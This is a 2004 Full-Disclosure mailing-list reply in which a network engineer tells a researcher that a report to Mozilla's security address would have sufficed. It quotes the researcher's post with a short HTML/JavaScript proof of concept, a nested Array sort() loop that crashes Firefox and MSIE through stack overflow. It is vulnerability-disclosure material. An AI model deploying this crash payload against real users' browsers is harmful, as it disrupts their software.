RE: [Full-Disclosure] FIREFOX flaws: nested array sort() loop Sta ck overflow exception

From: Randal, Phil (prandal_at_herefordshire.gov.uk)
Date: 11/25/04

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    To: Berend-Jan Wever <skylined@edup.tudelft.nl>, full-disclosure@lists.netsys.com, vuln-dev@securityfocus.com, bugtraq@securityfocus.com
Date: Thu, 25 Nov 2004 09:49:32 -0000

    An email to security@mozilla.org would have sufficed.

    That email address can be found at
    http://www.mozilla.org/security/bug-bounty.html

    Phil 

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Phil Randal
Network Engineer
Herefordshire Council
Hereford, UK  
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> [mailto:full-disclosure-admin@lists.netsys.com] On Behalf Of 
> Berend-Jan Wever
> Sent: 25 November 2004 01:05
> To: full-disclosure@lists.netsys.com; 
> vuln-dev@securityfocus.com; bugtraq@securityfocus.com
> Subject: [Full-Disclosure] FIREFOX flaws: nested array sort() 
> loop Stack overflow exception
> 
> Hi all,
> 
> Same flaw works for Firefox as well as MSIE:
> 
> <HTML>
>   <SCRIPT> a = new Array(); while (1) { (a = new 
> Array(a)).sort(); } </SCRIPT>
>   <SCRIPT> a = new Array(); while (1) { (a = new 
> Array(a)).sort(); } </SCRIPT> </HTML>
> 
> Added to the list: 
> http://www.edup.tudelft.nl/~bjwever/advisory_firefox_flaws.html
> 
> I'd have loved to CC mozilla about this, but I didn't have 
> the time to do the crash course "how to write a bug report" 
> and go through all that bugzilla crap.
> 
> Cheers,
> SkyLined
> http://www.edup.tudelft.nl/~bjwever
> 
> 
> 
> 
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